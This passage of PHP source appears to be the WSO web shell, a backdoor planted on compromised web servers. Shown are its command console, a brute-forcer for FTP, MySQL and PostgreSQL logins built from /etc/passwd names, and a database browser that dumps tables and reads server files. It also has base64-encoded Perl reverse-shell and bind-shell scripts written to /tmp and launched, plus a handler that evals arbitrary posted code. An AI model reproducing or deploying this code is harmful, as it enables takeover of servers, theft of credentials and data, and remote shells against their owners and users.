1433 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1434 }
1435 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
1436 echo '</form></div><script>document.cf.cmd.focus();</script>';
1437 wsoFooter();
1438}
1439
1440function actionLogout() {
1441 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1442 die('bye!');
1443}
1444//Krist_ALL EDITION ICQ 106777
1445function actionSelfRemove() {
1446
1447 if($_POST['p1'] == 'yes')
1448 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1449 die('Shell has been removed');
1450 else
1451 echo 'unlink error!';
1452 if($_POST['p1'] != 'yes')
1453 wsoHeader();
1454 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1455 wsoFooter();
1456}
1457
1458function actionBruteforce() {
1459 wsoHeader();
1460 if( isset($_POST['proto']) ) {
1461 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1462 if( $_POST['proto'] == 'ftp' ) {
1463 function bruteForce($ip,$port,$login,$pass) {
1464 $fp = @ftp_connect($ip, $port?$port:21);
1465 if(!$fp) return false;
1466 $res = @ftp_login($fp, $login, $pass);
1467 @ftp_close($fp);
1468 return $res;
1469 }
1470 } elseif( $_POST['proto'] == 'mysql' ) {
1471 function bruteForce($ip,$port,$login,$pass) {
1472 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1473 @mysql_close($res);
1474 return $res;
1475 }
1476 } elseif( $_POST['proto'] == 'pgsql' ) {
1477 function bruteForce($ip,$port,$login,$pass) {
1478 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1479 $res = @pg_connect($str);
1480 @pg_close($res);
1481 return $res;
1482 }
1483 }
1484 $success = 0;
1485 $attempts = 0;
1486 $server = explode(":", $_POST['server']);
1487 if($_POST['type'] == 1) {
1488 $temp = @file('/etc/passwd');
1489 if( is_array($temp) )
1490 foreach($temp as $line) {
1491 $line = explode(":", $line);
1492 ++$attempts;
1493 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1494 $success++;
1495 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1496 }
1497 if(@$_POST['reverse']) {
1498 $tmp = "";
1499 for($i=strlen($line[0])-1; $i>=0; --$i)
1500 $tmp .= $line[0][$i];
1501 ++$attempts;
1502 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1503 $success++;
1504 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1505 }
1506 }
1507 }
1508 } elseif($_POST['type'] == 2) {
1509 $temp = @file($_POST['dict']);
1510 if( is_array($temp) )
1511 foreach($temp as $line) {
1512 $line = trim($line);
1513 ++$attempts;
1514 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1515 $success++;
1516 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1517 }
1518 }
1519 }
1520 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1521 }
1522 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1523 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1524 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1525 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1526 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1527 .'<span>Server:port</span></td>'
1528 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1529 .'<tr><td><span>Brute type</span></td>'
1530 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1531 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1532 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1533 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1534 .'<td><input type=text name=login value="root"></td></tr>'
1535 .'<tr><td><span>Dictionary</span></td>'
1536 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1537 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1538 echo '</div><br>';
1539 wsoFooter();
1540}
1541
1542function actionSql() {
1543 class DbClass {
1544 var $type;
1545 var $link;
1546 var $res;
1547 function DbClass($type) {
1548 $this->type = $type;
1549 }
1550 function connect($host, $user, $pass, $dbname){
1551 switch($this->type) {
1552 case 'mysql':
1553 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1554 break;
1555 case 'pgsql':
1556 $host = explode(':', $host);
1557 if(!$host[1]) $host[1]=5432;
1558 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1559 break;
1560 }
1561 return false;
1562 }
1563 function selectdb($db) {
1564 switch($this->type) {
1565 case 'mysql':
1566 if (@mysql_select_db($db))return true;
1567 break;
1568 }
1569 return false;
1570 }
1571 function query($str) {
1572 switch($this->type) {
1573 case 'mysql':
1574 return $this->res = @mysql_query($str);
1575 break;
1576 case 'pgsql':
1577 return $this->res = @pg_query($this->link,$str);
1578 break;
1579 }
1580 return false;
1581 }
1582 function fetch() {
1583 $res = func_num_args()?func_get_arg(0):$this->res;
1584 switch($this->type) {
1585 case 'mysql':
1586 return @mysql_fetch_assoc($res);
1587 break;
1588 case 'pgsql':
1589 return @pg_fetch_assoc($res);
1590 break;
1591 }
1592 return false;
1593 }
1594 function listDbs() {
1595 switch($this->type) {
1596 case 'mysql':
1597 return $this->res = @mysql_list_dbs($this->link);
1598 break;
1599 case 'pgsql':
1600 return $this->res = $this->query("SELECT datname FROM pg_database");
1601 break;
1602 }
1603 return false;
1604 }
1605 function listTables() {
1606 switch($this->type) {
1607 case 'mysql':
1608 return $this->res = $this->query('SHOW TABLES');
1609 break;
1610 case 'pgsql':
1611 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1612 break;
1613 }
1614 return false;
1615 }
1616 function error() {
1617 switch($this->type) {
1618 case 'mysql':
1619 return @mysql_error($this->link);
1620 break;
1621 case 'pgsql':
1622 return @pg_last_error($this->link);
1623 break;
1624 }
1625 return false;
1626 }
1627 function setCharset($str) {
1628 switch($this->type) {
1629 case 'mysql':
1630 if(function_exists('mysql_set_charset'))
1631 return @mysql_set_charset($str, $this->link);
1632 else
1633 $this->query('SET CHARSET '.$str);
1634 break;
1635 case 'pgsql':
1636 return @pg_set_client_encoding($this->link, $str);
1637 break;
1638 }
1639 return false;
1640 }
1641 function loadFile($str) {
1642 switch($this->type) {
1643 case 'mysql':
1644 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1645 break;
1646 case 'pgsql':
1647 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1648 $r=array();
1649 while($i=$this->fetch())
1650 $r[] = $i['file'];
1651 $this->query('drop table wso2');
1652 return array('file'=>implode("\n",$r));
1653 break;
1654 }
1655 return false;
1656 }
1657 function dump($table) {
1658 switch($this->type) {
1659 case 'mysql':
1660 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1661 $create = mysql_fetch_array($res);
1662 echo $create[1].";\n\n";
1663 $this->query('SELECT * FROM `'.$table.'`');
1664 while($item = $this->fetch()) {
1665 $columns = array();
1666 foreach($item as $k=>$v) {
1667 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1668 $columns[] = "`".$k."`";
1669 }
1670 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1671 }
1672 break;
1673 case 'pgsql':
1674 $this->query('SELECT * FROM '.$table);
1675 $head = true;
1676 while($item = $this->fetch()) {
1677 $columns = array();
1678 foreach($item as $k=>$v) {
1679 $item[$k] = "'".addslashes($v)."'";
1680 $columns[] = $k;
1681 }
1682 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1683 }
1684 if(!$head)
1685 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1686 break;
1687 }
1688 return false;
1689 }
1690 };
1691 $db = new DbClass($_POST['type']);
1692 if(@$_POST['p2']=='download') {
1693 ob_start("ob_gzhandler", 4096);
1694 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1695 $db->selectdb($_POST['sql_base']);
1696 header("Content-Disposition: attachment; filename=dump.sql");
1697 header("Content-Type: text/plain");
1698 foreach($_POST['tbl'] as $v)
1699 $db->dump($v);
1700 exit;
1701 }
1702 wsoHeader();
1703 echo "
1704<h1>Sql browser</h1><div class=content>
1705<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1706<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1707<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1708<td><select name='type'><option value='mysql' ";
1709 if(@$_POST['type']=='mysql')echo 'selected';
1710echo ">MySql</option><option value='pgsql' ";
1711if(@$_POST['type']=='pgsql')echo 'selected';
1712echo ">PostgreSql</option></select></td>
1713<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1714<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1715<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1716 $tmp = "<input type=text name=sql_base value=''>";
1717 if(isset($_POST['sql_host'])){
1718 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1719 switch($_POST['charset']) {
1720 case "Windows-1251": $db->setCharset('cp1251'); break;
1721 case "UTF-8": $db->setCharset('utf8'); break;
1722 case "KOI8-R": $db->setCharset('koi8r'); break;
1723 case "KOI8-U": $db->setCharset('koi8u'); break;
1724 case "cp866": $db->setCharset('cp866'); break;
1725 }
1726 $db->listDbs();
1727 echo "<select name=sql_base><option value=''></option>";
1728 while($item = $db->fetch()) {
1729 list($key, $value) = each($item);
1730 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1731 }
1732 echo '</select>';
1733 }
1734 else echo $tmp;
1735 }else
1736 echo $tmp;
1737 echo "</td>
1738 <td><input type=submit value='>>'></td>
1739 </tr>
1740 </table>
1741 <script>
1742
1743 s_db='".@addslashes($_POST['sql_base'])."';
1744 function fs(f) {
1745 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1746 if(f.p1) f.p1.value='';
1747 if(f.p2) f.p2.value='';
1748 if(f.p3) f.p3.value='';
1749 }
1750 }
1751
1752 function st(t,l) {
1753 document.sf.p1.value = 'select';
1754 document.sf.p2.value = t;
1755 if(l!=null)document.sf.p3.value = l;
1756 document.sf.submit();
1757 }
1758 function is() {
1759 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1760 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1761 }
1762 </script>";
1763 if(isset($db) && $db->link){
1764 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1765 if(!empty($_POST['sql_base'])){
1766 $db->selectdb($_POST['sql_base']);
1767 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1768 $tbls_res = $db->listTables();
1769 while($item = $db->fetch($tbls_res)) {
1770 list($key, $value) = each($item);
1771 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1772 $value = htmlspecialchars($value);
1773 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1774 }
1775 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1776 if(@$_POST['p1'] == 'select') {
1777 $_POST['p1'] = 'query';
1778 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1779 $num = $db->fetch();
1780 $num = $num['n'];
1781 echo "<span>".$_POST['p2']."</span> ($num) ";
1782 for($i=0;$i<($num/30);$i++)
1783 if($i != (int)$_POST['p3'])
1784 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1785 else
1786 echo ($i+1)," ";
1787 if($_POST['type']=='pgsql')
1788 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1789 else
1790 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1791 echo "<br><br>";
1792 }
1793 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1794 $db->query(@$_POST['p3']);
1795 if($db->res !== false) {
1796 $title = false;
1797 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1798 $line = 1;
1799 while($item = $db->fetch()) {
1800 if(!$title) {
1801 echo '<tr>';
1802 foreach($item as $key => $value)
1803 echo '<th>'.$key.'</th>';
1804 reset($item);
1805 $title=true;
1806 echo '</tr><tr>';
1807 $line = 2;
1808 }
1809 echo '<tr class="l'.$line.'">';
1810 $line = $line==1?2:1;
1811 foreach($item as $key => $value) {
1812 if($value == null)
1813 echo '<td><i>null</i></td>';
1814 else
1815 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1816 }
1817 echo '</tr>';
1818 }
1819 echo '</table>';
1820 } else {
1821 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1822 }
1823 }
1824 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1825 echo "</td></tr>";
1826 }
1827 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1828 if(@$_POST['p1'] == 'loadfile') {
1829 $file = $db->loadFile($_POST['p2']);
1830 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1831 }
1832 }
1833 echo '</div>';
1834 wsoFooter();
1835}
1836function actionNetwork() {
1837 wsoHeader();
1838 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1839 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1840 echo "<h1>Network tools</h1><div class=content>
1841 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1842 <span>Bind port to /bin/sh [perl]</span><br/>
1843 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1844 </form>
1845 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1846 <span>Back-connect [perl]</span><br/>
1847 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1848 </form><br>";
1849 if(isset($_POST['p1'])) {
1850 function cf($f,$t) {
1851 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1852 if($w) {
1853 @fwrite($w,@base64_decode($t));
1854 @fclose($w);
1855 }
1856 }
1857 if($_POST['p1'] == 'bpp') {
1858 cf("/tmp/bp.pl",$bind_port_p);
1859 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1860 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1861 unlink("/tmp/bc.pl");
1862 }
1863 if($_POST['p1'] == 'bcp') {
1864 cf("/tmp/bc.pl",$back_connect_p);
1865 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1866 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1867 unlink("/tmp/bp.pl");
1868 }
1869 }
1870 echo '</div>';
1871 wsoFooter();
1872}
1873function actionRC() {
1874 if(!@$_POST['p1']) {
1875 $a = array(
1876 "uname" => php_uname(),
1877 "php_version" => phpversion(),
1878 "wso_version" => VERSION,
1879 "safemode" => @ini_get('safe_mode')
1880 );
1881 echo serialize($a);
1882 } else {
1883 eval($_POST['p1']);
1884 }
1885}
1886if( empty($_POST['a']) )
1887 if(isset($default_action) && function_exists('action' . $default_action))
1888 $_POST['a'] = $default_action;
1889 else
1890 $_POST['a'] = 'SecInfo';
1891if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1892 call_user_func('action' . $_POST['a']);
1893exit; ?>